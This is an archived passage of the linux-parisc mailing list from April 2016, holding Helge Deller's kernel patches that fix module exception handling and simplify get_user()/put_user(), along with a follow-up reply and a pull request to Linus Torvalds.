+++ b/arch/parisc/lib/fixup.S
@@ -26,6 +26,7 @@
 
 #ifdef CONFIG_SMP
 	.macro  get_fault_ip t1 t2
+	loadgp
 	addil LT%__per_cpu_offset,%r27
 	LDREG RT%__per_cpu_offset(%r1),\t1
 	/* t2 = smp_processor_id() */
@@ -40,14 +41,19 @@
 	LDREG RT%exception_data(%r1),\t1
 	/* t1 = this_cpu_ptr(&exception_data) */
 	add,l \t1,\t2,\t1
+	/* %r27 = t1->fault_gp - restore gp */
+	LDREG EXCDATA_GP(\t1), %r27
 	/* t1 = t1->fault_ip */
 	LDREG EXCDATA_IP(\t1), \t1
 	.endm
 #else
 	.macro  get_fault_ip t1 t2
+	loadgp
 	/* t1 = this_cpu_ptr(&exception_data) */
 	addil LT%exception_data,%r27
 	LDREG RT%exception_data(%r1),\t2
+	/* %r27 = t2->fault_gp - restore gp */
+	LDREG EXCDATA_GP(\t2), %r27
 	/* t1 = t2->fault_ip */
 	LDREG EXCDATA_IP(\t2), \t1
 	.endm
diff --git a/arch/parisc/mm/fault.c b/arch/parisc/mm/fault.c
index 26fac9c..16dbe81 100644
--- a/arch/parisc/mm/fault.c
+++ b/arch/parisc/mm/fault.c
@@ -145,6 +145,7 @@ int fixup_exception(struct pt_regs *regs)
 		struct exception_data *d;
 		d = this_cpu_ptr(&exception_data);
 		d->fault_ip = regs->iaoq[0];
+		d->fault_gp = regs->gr[27];
 		d->fault_space = regs->isr;
 		d->fault_addr = regs->ior;
 
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:40 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Update comment regarding relative addresses in
 exception table
Date: Fri, 8 Apr 2016 21:30:58 +0200
Lines: 39
Approved: news@gmane.org
Message-ID: <20160408193058.GE4225@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1460143873 5807 80.91.229.3 (8 Apr 2016 19:31:13 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Apr 2016 19:31:13 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 08 21:31:13 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aoc7b-0006hm-IJ
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Apr 2016 21:31:11 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S932160AbcDHTbL (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Apr 2016 15:31:11 -0400
Original-Received: from mout.gmx.net ([212.227.17.21]:52196 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S932099AbcDHTbK (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Apr 2016 15:31:10 -0400
Original-Received: from ls3530.box ([92.203.29.61]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0MMYZG-1asU0025Gw-008GU9; Fri, 08 Apr 2016 21:31:02
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:NZqA5yvJTfqyxpJgVyX3ipvbA3V5xOuNsiAibrQ3IkoAKx33pZF
 dCQzxXHodbIRm0mekIc4mgvLZyI9guvQNK4q7I40Y6G9oLp/yj+Gxc8ihZD1Z9gsYXLRsOI
 9vNDAwldafiqmi9wyvs/IFqGyBxz2JpIYzWmKfGf0y6oK8CmSjUegwaHFOIp6VBiKbzjiwb
 e9CTdUZyK50dD8e8uiRWg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:3jD6X1V85MU=:RinC8mJCdzZt3rMH2KKFXc
 +3yL0uhVcgTTHepFeiBHgiKRLaiLtPU+Ou27UyOtPYz7mfOEsCMATvPNkwjJ72NAemS8igO1k
 9qAO8hfAjvOChKjOlc/+LaN+C/HhHXrIjqfUtHoNgfWjaOwoWgzfn2NAvnFRorB5S7P/Z7Igw
 N0XxHoFvz/WLzsEUkcawoONOg7RJzhhA1nXNKeOFZwwaIHnAH5T/YhD9e5JdDrqGNdATfoxDo
 xU3+Pvgi5P87kaDARkwTRu23CBOhu3M9x4an296k8yXeDI+oBPs4MNW1d8gu2w0I2kgU62Ox2
 a/Q9mgqOY2odge4/4uJhDcjnlJL4qYAAafqsapKq+jm8Nzyw+3AtfO2JquyRxMburzMfSVgjO
 7bAp86P0K6lsyB7nNGSwepgVIZJmAlpsL+466jdTcYvHMgQM5CzBVR2FpoycrK4/Df8qv1fEp
 VldtyEtCxb9kEt5tXSSQl9jnLzzK5Bw0q/bupPaOLL5N1wK1kdYO5k1hAps7W8Dh+9OfyZ+sO
 PLsj6xxBiZk4aq7ZDbFS2YSppL5Or8hhQRPc+8gMM0PtVWumaZFH7UaeAobUDqwKDycND8xlR
 eSM+9Ap5RvcPC+6rWVRk+OIY/2Npo9s2cglmlcx6GLCOxBLNjGmcFREmePzv8a3jhCEHWTgmh
 CKi/zYbgm3VV74p867eJJUbLee/oyB2zKrU8CjZzv6SCtanW3nk+vQs9874EMhh0+aTRUZP+L
 sSjkWJLctFO7R3LCHqdzku9kQt7ARzk9GdDZEDK6bwe/jTvnx7aFJVgAHrM=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26604
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26604>

Update the comment reflecting the last commit to store relative
addresses in the exception table.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index 6f893d2..7955e43 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -44,20 +44,18 @@ static inline long access_ok(int type, const void __user * addr,
 #define LDD_USER(ptr)		BUILD_BUG()
 #define STD_KERNEL(x, ptr)	__put_kernel_asm64(x, ptr)
 #define STD_USER(x, ptr)	__put_user_asm64(x, ptr)
-#define ASM_WORD_INSN		".word\t"
 #else
 #define LDD_KERNEL(ptr)		__get_kernel_asm("ldd", ptr)
 #define LDD_USER(ptr)		__get_user_asm("ldd", ptr)
 #define STD_KERNEL(x, ptr)	__put_kernel_asm("std", x, ptr)
 #define STD_USER(x, ptr)	__put_user_asm("std", x, ptr)
-#define ASM_WORD_INSN		".dword\t"
 #endif
 
 /*
- * The exception table contains two values: the first is an address
- * for an instruction that is allowed to fault, and the second is
- * the address to the fixup routine. Even on a 64bit kernel we could
- * use a 32bit (unsigned int) address here.
+ * The exception table contains two values: the first is the relative offset to
+ * the address of the instruction that is allowed to fault, and the second is
+ * the relative offset to the address of the fixup routine. Since relative
+ * addresses are used, 32bit values are sufficient even on 64bit kernel.
  */
 
 #define ARCH_HAS_RELATIVE_EXTABLE
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:41 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: Aw: Re: kernel 4.6-rc unbootable due to module changes
Date: Fri, 8 Apr 2016 21:43:09 +0200
Lines: 27
Approved: news@gmane.org
Message-ID: <570809CD.3060203@gmx.de>
References: <alpine.LRH.2.02.1604051326470.14606@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1604051332280.25453@file01.intranet.prod.int.rdu2.redhat.com>
 <570409DA.1060508@gmx.de>
 <alpine.LRH.2.02.1604051612310.32758@file01.intranet.prod.int.rdu2.redhat.com>
 <alpine.LRH.2.02.1604061014490.30369@file01.intranet.prod.int.rdu2.redhat.com>
 <57058332.8050204@gmx.de> <5706E3A0.2020902@gmx.de>
 <trinity-1ff986de-0345-446b-baa3-dce5d7ebc2cc-1460117169764@3capp-gmx-bs27>
 <trinity-2288a664-7ecc-47ba-9dbb-630a8f9060c7-1460127541349@3capp-gmx-bs27>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=utf-8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1460144605 16605 80.91.229.3 (8 Apr 2016 19:43:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 8 Apr 2016 19:43:25 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>,
	John David Anglin <dave.anglin@bell.net>,
	linux-parisc@vger.kernel.org
To: unlisted-recipients:; (no To-header on input)
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Apr 08 21:43:25 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aocJQ-0008Ln-Sn
	for glpp-linux-parisc@plane.gmane.org; Fri, 08 Apr 2016 21:43:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755306AbcDHTnX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 8 Apr 2016 15:43:23 -0400
Original-Received: from mout.gmx.net ([212.227.15.15]:51164 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751522AbcDHTnX (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 8 Apr 2016 15:43:23 -0400
Original-Received: from [192.168.20.60] ([92.203.29.61]) by mail.gmx.com (mrgmx001)
 with ESMTPSA (Nemesis) id 0MXZ4Q-1bLBvb0CkY-00WZsO; Fri, 08 Apr 2016 21:43:13
 +0200
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:38.0) Gecko/20100101
 Thunderbird/38.1.0
In-Reply-To: <trinity-2288a664-7ecc-47ba-9dbb-630a8f9060c7-1460127541349@3capp-gmx-bs27>
X-Provags-ID: V03:K0:V6uAj95MdOJh3IZY+FKb8Wr+0HOk8ejY38FRCCSGULWXCECCZor
 rxHo5mBcvy2OD+9ZReEYBR1NjMYP/O91CEeDCL5K5LoHY6U2BwkJoiKmZrYki+PlL6zbMiu
 SQzdmicGa/QM5MEQ4vtjY8DalucMODBv+8B1GJZs7XACRc3v4XoKBaLDuQ6rPzJQKJwc9mv
 8KMkYqEMDg+6IC0k+Y3Qg==
X-UI-Out-Filterresults: notjunk:1;V01:K0:DC91ljhbfH4=:lc9eyoEYXsr8nsqjezad1Y
 aLX4eTEOc4hWOmpMWK6e9qhd0DKXAUPGTQ8WHbOkGhcHw+0KB39ge1i3ku01sgQhbRHMbADNW
 ab2eKRNgTELE6GV5cf88o34ULRisjJ3El9dFgawp5zx8fCg6MYzpG3Epfq2RJRKZiaoemGiN/
 ZMDpqn7cBRs4210SUoBAlPieHJKPNdUHYqgIgHCsYufsKqKTYF7+t9KmeinNx+Z8Saooi0rQN
 0SjaimQeFC3VLkBYcijbf2Xq9o4HE45n4lT7ERGoMdAlsjgLbLojmBBtJOd4A1Rj2GPPtmEkM
 kTBw3hcslt6X26kwWBAMFanJzZxH4wgG/CfK3Wk2ibsJ4KLDkbsI3MivK6QPgIxSnNvgivPjG
 tJXp+pjVKE/D+DH8Av/gpPmoMd63VCSNMgB+S2sN/ul9jGB5u9AEWkBE8qdWZXw857h/pQFKy
 bw1lAo4eobtu5faWXBN0DTLs3djNkwZAffjctVOhtMEGfCdpF0qIcvGyWUixQIXncysvTL1+/
 oOuHwNTg5/3nC1NzoR8UlTCJuJ0TXw+m5zl0Jvqnmeqrdx1Nqxi26hXpDp5lO0ha7SmQv86nv
 mNd+9WgRuXAKGYvq2Cxo+uhVQMUYtRXSjpcCSIZJkZcY7n0C6EiJJSizOp9La2cbEl1f/pmDZ
 quZu4ZmZqD5cp51JpJIgVFTm0MzMtiEeqp07nmxOFkm2sR7R+v9x1xpNLfj/3p1syc6GPtRoM
 HGK0XWBwHLM267kR+LSd35wooFjQIAn/S34r0uFzuU8u5EVM86CV4cd5nISWVhsdmpmFVqnz 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26605
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26605>

On 08.04.2016 16:59, Helge Deller wrote:
>>>>> So, it seems that handling exceptions from modules never worked on 
>>>>> pa-risc, it was just masked by the fact that exceptions from modules don't 
>>>>> happen during normal use.
>>>
>>> Sadly you seem to be right :-(
>>> I did more testing with the test_user_copy module (with vanilla kernel 4.5 and without the relative extable support).
>>
>> The attached patch fixes the exception handling for modules for me.
>> This is realized by saving the %r27 register in the fault handler and restoring it in the exception path.
>> With this patch the "test_user_copy" kernel module succeeds when loaded.
>> Mikulas, can you try it with your testcases ?
> 
> Attached patch additionally adds support for resolving R_PARISC_PCREL32 relocations,
> which fixes the 32bit extable change which was introduced with kernel 4.6-rc1.
> 
> With that I think we have all module issues resolved ?

I've pushed all relevant changes into my for-next tree which can be pulled:
http://git.kernel.org/cgit/linux/kernel/git/deller/parisc-linux.git/log/?h=for-next

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fixes for 4.6-rc2
Date: Sat, 9 Apr 2016 07:57:46 +0200
Lines: 41
Approved: news@gmane.org
Message-ID: <20160409055746.GA3305@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1460181497 20197 80.91.229.3 (9 Apr 2016 05:58:17 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 9 Apr 2016 05:58:17 +0000 (UTC)
Cc: Mikulas Patocka <mpatocka@redhat.com>
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 09 07:58:16 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aoluP-0003h8-5T
	for glpp-linux-parisc@plane.gmane.org; Sat, 09 Apr 2016 07:58:13 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751515AbcDIF6K (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Apr 2016 01:58:10 -0400
Original-Received: from mout.gmx.net ([212.227.17.20]:53497 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1750897AbcDIF6J (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Apr 2016 01:58:09 -0400
Original-Received: from ls3530.box ([92.203.29.61]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0MXIGf-1bL28N1kur-00WHCD; Sat, 09 Apr 2016 07:57:54
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:GJo81XdJfHRKUwZA2Jp5XSoB3+5mP9XcDBav0yEwpV+GbHN6+t6
 smSCSi9GWURUik3me2YDYN8vSn3CDUr9raubRnSwdrG2AJ3wrAa8xsCAo0jDzfj4/p1tPqW
 HtsR63F5+p+ZdP88O7TslaLdVJR6W82eZ8N//Y2kQpUTJJWGIReyauPTmt97m4gbNOt+rvY
 RusS2eGFdR4N4occ0gy0g==
X-UI-Out-Filterresults: notjunk:1;V01:K0:ZZoUduQ4mRc=:SnnO1UXdlOe4juRx7XAA3o
 Vi20QnkinF1PRqK5YgWUJT+Z8YtyVx3lrexBJ8LukNeDa/EtD+sgUtKieskgJYJrrbYIhR6hN
 rxjkPS1Ff3O/Urj0VqFYJJ0bVp2Yw+481oYQ88foUxsY8GnQ734b/CV+jTv1utgUoRZyHLmfR
 Ewj8T7hUEI3KEK4m8b3wuwjo7/c3kG6gajerLTy99MSZyXhD6eaJqkSlqA+8fHqVThMVNRgIk
 3D0dfgVzXLsl+ym/MHP66k38Pi1fMOadkiG3MSmug8sUVkHEzIB6aAlJm/bmQP6gylTujM7TS
 h3zGrR61OQwcrI8kda/q4fNRvAlbrAjKZ2vl8IkG0jgSoOEeZ2EuWyj0n31agDgju5nnLpSeg
 FwQyydYPWWMUIq4ff8/QQ7XHEDJqFliKllQaXZeWZptgJs1OPk3bY8Vew+uZgX9zLXTbGoEat
 9oIR2iulHJhlSoEGe1igH06zomG9LW3y1x9lyXI/l/NCs9c+sGwFb/gkmYG7pBYBq7PiITxHC
 Rdi05NoFyyIyg9xa79aDHViZSSu4azRuNg5su1qzBlQ5rmDTJNR80WvxuTBtwFDaZQYE9htbt
 QjPE+Nmvd2kzLnEQSdwYzZGOjEsGETiWqSWg4SPSFLeH9ZF7y3WcttBH1916smT9bPiuoQNUe
 2uSTHcWC8Ma2T+RP1vNx1NTSszTVIDgz4Z4joWZokWMbHPOPqkVZ+6qaGh0Ir+p/e0NFjTjrh
 m5ycg5eAj46YF+AvI3domIepVpTfB5NjEXOMV1ue2YhmOR97Bufxn5h4rtU=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26606 gmane.linux.kernel:2194348
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26606>

Hi Linus,

please pull some important fixes for the parisc architecture from:

  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-4.6-3

Since commit 0de7985 (parisc: Use generic extable search and sort routines)
module loading is boken on parisc, because the parisc module loader wasn't
prepared for the new R_PARISC_PCREL32 relocations.

In addition, due to that breakage, Mikulas Patocka noticed that handling
exceptions from modules probably never worked on parisc. It was just masked by
the fact that exceptions from modules don't happen during normal use.

This patch series fixes those issues and survives the tests of the
lib/test_user_copy kernel module test.  Some patches are tagged for stable.

Thanks,
Helge

----------------------------------------------------------------
Helge Deller (5):
      parisc: Handle R_PARISC_PCREL32 relocations in kernel modules
      parisc: Avoid function pointers for kernel exception routines
      parisc: Fix kernel crash with reversed copy_from_user()
      parisc: Unbreak handling exceptions from kernel modules
      parisc: Update comment regarding relative extable support

 arch/parisc/include/asm/uaccess.h | 11 +++++------
 arch/parisc/kernel/asm-offsets.c  |  1 +
 arch/parisc/kernel/module.c       |  8 ++++++++
 arch/parisc/kernel/parisc_ksyms.c | 10 +++++-----
 arch/parisc/kernel/traps.c        |  3 +++
 arch/parisc/lib/fixup.S           |  6 ++++++
 arch/parisc/mm/fault.c            |  1 +
 7 files changed, 29 insertions(+), 11 deletions(-)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:38:41 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc
Subject: [PATCH] parisc: Simplify and speed up get_user() and put_user()
Date: Sat, 9 Apr 2016 08:26:14 +0200
Lines: 150
Approved: news@gmane.org
Message-ID: <20160409062614.GA4203@ls3530.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1460183190 10241 80.91.229.3 (9 Apr 2016 06:26:30 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 9 Apr 2016 06:26:30 +0000 (UTC)
To: linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Apr 09 08:26:30 2016
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1aomLl-0006o9-JL
	for glpp-linux-parisc@plane.gmane.org; Sat, 09 Apr 2016 08:26:29 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752732AbcDIG03 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 9 Apr 2016 02:26:29 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:58711 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752689AbcDIG02 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 9 Apr 2016 02:26:28 -0400
Original-Received: from ls3530.box ([92.203.29.61]) by mail.gmx.com (mrgmx102) with
 ESMTPSA (Nemesis) id 0M4kfR-1bj71r3HJN-00yzSH; Sat, 09 Apr 2016 08:26:19
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.23 (2014-03-12)
X-Provags-ID: V03:K0:YFRnAryXQiMCkG1w4gXrpduWsUkdjB5x0VPvQYKacF2b9L1I7Ar
 G70exdz580iqZTauPRsviu51Gzil2wHhFa7R0ak7Da4HeExjntrlOuco1g6nLCtm02q5xEw
 NV2wVn//nhLEroe5XfPFBKfv9ho4++ahYZzNOfG8YyzG/AOUB+CyiPpNISQ7d7rrPLn8Vnp
 wGO7RRABGBnS/JPjbpJvA==
X-UI-Out-Filterresults: notjunk:1;V01:K0:hbQ6Qy2EvrI=:RhBFxvYvdRnq6IJxpyHnTo
 C5+znLcCR4wWaDF3Kv7bRRYNpputPQW/14lZHVAPXh1xdrPHGStYt3ZLZrBlUglhGO0j1ncQP
 yKoq3KUwc8r5dc+NDtN+vkNvfA254ehTwTPFmWHWQX7jN5IgQsi5fZyeBPTI/4XzetTN4zoMg
 n4jBU3rbrBvzqv2J8I3La8qrceFDH3ilgKiNy/XRgusNaXN4lq2jrbyJXkbDqT6y4xK/e7Pc+
 Yy2zRdIta/TgxEQrktkflzOtObj3A0I+l5hgVVbfivjfgSsuGccJz/YubFkrUeg5EwR947uNO
 4pcgEPuf9pgHtIwuV5PecdDdMNMFI2A2ZTxNizJ1uxRX9daWhc9Lw9Asom2fSmVv2lPoroxxW
 KNb+M+2HKpXnOYQFj4zsfOaZ4y/A/pcANRNuE01I7ez7py2D36FXlBIm26F+TIGvuNnjcUuKd
 CpnTePK+FrAH8bydxHpzWWJNyP/Zw+mvXIo50D3JQOp7db4UNjKGEay4PQoj0DgMFZibVEiXo
 cfsOAkY0i08LzvSXfBXKm/sBN4+4AXuk2NNxXkta76ajHiw3AnNU43DD947bCsUREjASPTZ36
 BkFGrKi3vqr2++Ppwl4Dc+e/QUZ6aBYICORI7IBW3XGATd9lnm/mvgIJa7WKAKX18mNeNwH9/
 +u5qwdf/G9w+/B1w249Xn3uS38AjuLyN0FXNCPCkARo2aJO/t8V5cZIepwm9QWoppGvyuI79e
 GXVLdOFAH4kzZxHzaWyhvRAV4ynZ5Igl9SQMth3E/cujGqIEME7E72YejVE=
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:26607
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/26607>

This patch simplifies the code for get_user() and put_user() a lot.

Instead of accessing kernel memory (%sr0) and userspace memory (%sr3)
hard-coded in the assembler instruction, we now preload %sr2 with either
%sr0 (for accessing KERNEL_DS) or with sr3 (to access USER_DS) and
use %sr2 in the load directly.

The generated code avoids a branch and speeds up execution by generating
less assembler instructions.

Signed-off-by: Helge Deller <deller@gmx.de>

diff --git a/arch/parisc/include/asm/uaccess.h b/arch/parisc/include/asm/uaccess.h
index fbd2e79..48070f2 100644
--- a/arch/parisc/include/asm/uaccess.h
+++ b/arch/parisc/include/asm/uaccess.h
@@ -40,14 +40,10 @@ static inline long access_ok(int type, const void __user * addr,
 #define get_user __get_user
 
 #if !defined(CONFIG_64BIT)
-#define LDD_KERNEL(ptr)		BUILD_BUG()
 #define LDD_USER(ptr)		BUILD_BUG()
-#define STD_KERNEL(x, ptr)	__put_kernel_asm64(x, ptr)
 #define STD_USER(x, ptr)	__put_user_asm64(x, ptr)
 #else
-#define LDD_KERNEL(ptr)		__get_kernel_asm("ldd", ptr)
 #define LDD_USER(ptr)		__get_user_asm("ldd", ptr)
-#define STD_KERNEL(x, ptr)	__put_kernel_asm("std", x, ptr)
 #define STD_USER(x, ptr)	__put_user_asm("std", x, ptr)
 #endif
 
@@ -79,43 +75,39 @@ struct exception_data {
 	unsigned long fault_addr;
 };
 
+/*
+ * load_sr2() preloads the space register %%sr2 - based on the value of
+ * get_fs() - with either a value of 0 to access kernel space (KERNEL_DS which
+ * is 0), or with the current value of %%sr3 to access user space (USER_DS)
+ * memory. The following __get_user_asm() and __put_user_asm() functions have
+ * %%sr2 hard-coded to access the requested memory.
+ */
+#define load_sr2() \
+	__asm__(" or,=  %0,%%r0,%%r0\n\t"	\
+		" mfsp %%sr3,%0\n\t"		\
+		" mtsp %0,%%sr2\n\t"		\
+		: : "r"(get_fs()) : )
+
 #define __get_user(x, ptr)                               \
 ({                                                       \
 	register long __gu_err __asm__ ("r8") = 0;       \
 	register long __gu_val __asm__ ("r9") = 0;       \
 							 \
-	if (segment_eq(get_fs(), KERNEL_DS)) {           \
-	    switch (sizeof(*(ptr))) {                    \
-	    case 1: __get_kernel_asm("ldb", ptr); break; \
-	    case 2: __get_kernel_asm("ldh", ptr); break; \
-	    case 4: __get_kernel_asm("ldw", ptr); break; \
-	    case 8: LDD_KERNEL(ptr); break;		 \
-	    default: BUILD_BUG(); break;		 \
-	    }                                            \
-	}                                                \
-	else {                                           \
-	    switch (sizeof(*(ptr))) {                    \
+	load_sr2();					 \
+	switch (sizeof(*(ptr))) {			 \
 	    case 1: __get_user_asm("ldb", ptr); break;   \
 	    case 2: __get_user_asm("ldh", ptr); break;   \
 	    case 4: __get_user_asm("ldw", ptr); break;   \
 	    case 8: LDD_USER(ptr);  break;		 \
 	    default: BUILD_BUG(); break;		 \
-	    }                                            \
 	}                                                \
 							 \
 	(x) = (__force __typeof__(*(ptr))) __gu_val;	 \
 	__gu_err;                                        \
 })
 
-#define __get_kernel_asm(ldx, ptr)                      \
-	__asm__("\n1:\t" ldx "\t0(%2),%0\n\t"		\
-		ASM_EXCEPTIONTABLE_ENTRY(1b, fixup_get_user_skip_1)\
-		: "=r"(__gu_val), "=r"(__gu_err)        \
-		: "r"(ptr), "1"(__gu_err)		\
-		: "r1");
-
 #define __get_user_asm(ldx, ptr)                        \
-	__asm__("\n1:\t" ldx "\t0(%%sr3,%2),%0\n\t"	\
+	__asm__("\n1:\t" ldx "\t0(%%sr2,%2),%0\n\t"	\
 		ASM_EXCEPTIONTABLE_ENTRY(1b, fixup_get_user_skip_1)\
 		: "=r"(__gu_val), "=r"(__gu_err)        \
 		: "r"(ptr), "1"(__gu_err)		\
@@ -126,23 +118,13 @@ struct exception_data {
 	register long __pu_err __asm__ ("r8") = 0;      	\
         __typeof__(*(ptr)) __x = (__typeof__(*(ptr)))(x);	\
 								\
-	if (segment_eq(get_fs(), KERNEL_DS)) {                  \
-	    switch (sizeof(*(ptr))) {                           \
-	    case 1: __put_kernel_asm("stb", __x, ptr); break;   \
-	    case 2: __put_kernel_asm("sth", __x, ptr); break;   \
-	    case 4: __put_kernel_asm("stw", __x, ptr); break;   \
-	    case 8: STD_KERNEL(__x, ptr); break;		\
-	    default: BUILD_BUG(); break;			\
-	    }                                                   \
-	}                                                       \
-	else {                                                  \
-	    switch (sizeof(*(ptr))) {                           \
+	load_sr2();						\
+	switch (sizeof(*(ptr))) {				\
 	    case 1: __put_user_asm("stb", __x, ptr); break;     \
 	    case 2: __put_user_asm("sth", __x, ptr); break;     \
